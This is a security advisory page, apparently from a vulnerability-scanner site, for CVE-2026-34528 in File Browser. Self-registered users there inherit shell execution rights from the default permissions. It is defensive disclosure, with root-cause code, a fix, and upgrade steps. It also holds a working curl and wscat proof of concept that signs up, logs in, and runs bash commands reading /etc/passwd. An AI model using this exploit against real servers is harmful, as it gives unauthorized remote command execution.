CVE-2026-34528 — Vulnerability in filebrowser/filebrowser/v2
File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.70%). Schedule for your next planned update.
Does your project use an affected github.com/filebrowser/filebrowser/v2 version?
Paste your go.sum to check it for CVE-2026-34528 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.
Details
Root Cause
signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:
// http/auth.go
d.settings.Defaults.Apply(user) // copies ALL permissions from defaults
// Only Admin is stripped — Execute, Commands are still inherited
user.Perm.Admin = false
// user.Perm.Execute remains true if set in defaults
// user.Commands remains populated if set in defaults
settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm // includes Execute
u.Commands = d.Commands // includes allowed shell commands
// ...
}
The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:
if !d.server.EnableExec || !d.user.Perm.Execute {
// writes "Command not allowed." and returns
}
The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:
if !slices.Contains(d.user.Commands, name) {
// writes "Command not allowed." and returns
}
Execution Flow
- Admin configures:
Signup=true,EnableExec=true,Defaults.Perm.Execute=true,Defaults.Commands=["bash"] - Unauthenticated attacker POSTs to
/api/signup→ new user created withExecute=true,Commands=["bash"] - Attacker logs in → receives JWT with valid user ID
- Attacker opens WebSocket to
/api/command/→withUserfetches user from DB,Execute=truepasses check - Attacker sends
bashover WebSocket →exec.Command("bash")is invoked → arbitrary shell execution
This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.
PoC
TARGET="http://localhost:8080"
# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK
# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')
# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
# "user": {
# "perm": { "execute": true, ... },
# "commands": ["bash"],
# ...
# }
# }
# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
wscat --header "X-Auth: $TOKEN" \
--connect "$TARGET/api/command/" \
--wait 3
# Expected: uid=... hostname output followed by /etc/passwd lines
Impact
On any deployment where an administrator has:
- Enabled public self-registration (
signup = true) - Enabled server-side command execution (
enableExec = true) - Set
Execute = truein the default user template - Populated
Commandswith one or more shell commands
An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.
The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.
Recommended Fix
Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:
// http/auth.go — after d.settings.Defaults.Apply(user)
// Users signed up via the signup handler should never become admins, even
// if that is the default permission.
user.Perm.Admin = false
// Self-registered users should not inherit execution capabilities from
// default settings, regardless of what the administrator has configured
// as the default. Execution rights must be explicitly granted by an admin.
user.Perm.Execute = false
user.Commands = []string{}
Advisory Timeline
- First published March 31, 2026 (239 days ago).
- Last revised June 25, 2026 — 86 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/filebrowser/filebrowser/v2@v2.62.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/filebrowser/filebrowser/v2 Go · Affected: All versions | 2.62.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-269Improper Privilege ManagementMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-34528?
- File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
- How do I check if my project is affected by CVE-2026-34528?
- CVE-2026-34528 affects github.com/filebrowser/filebrowser/v2. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34528 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 48.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-54089CRITICAL
File Browser: Authentication Bypass via Proxy Auth Header Forgery
- CVE-2025-52902
filebrowser allows Stored Cross-Site Scripting through the Markdown preview function in github.com/filebrowser/filebrowser
- CVE-2025-52900
filebrowser Sets Insecure File Permissions in github.com/filebrowser/filebrowser
- CVE-2025-52903
filebrowser Allows Shell Commands to Spawn Other Commands in github.com/filebrowser/filebrowser
- CVE-2026-35585
File Browser has a Command Injection via Hook Runner in github.com/filebrowser/filebrowser
- CVE-2026-35604
File Browser share links remain accessible after Share/Download permissions are revoked in github.com/filebrowser/filebrowser
- CVE-2026-54092
File Browser has a DoS Vulnerability via Public Login API in github.com/filebrowser/filebrowser
- CVE-2026-34530
File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection in github.com/filebrowser/filebrowser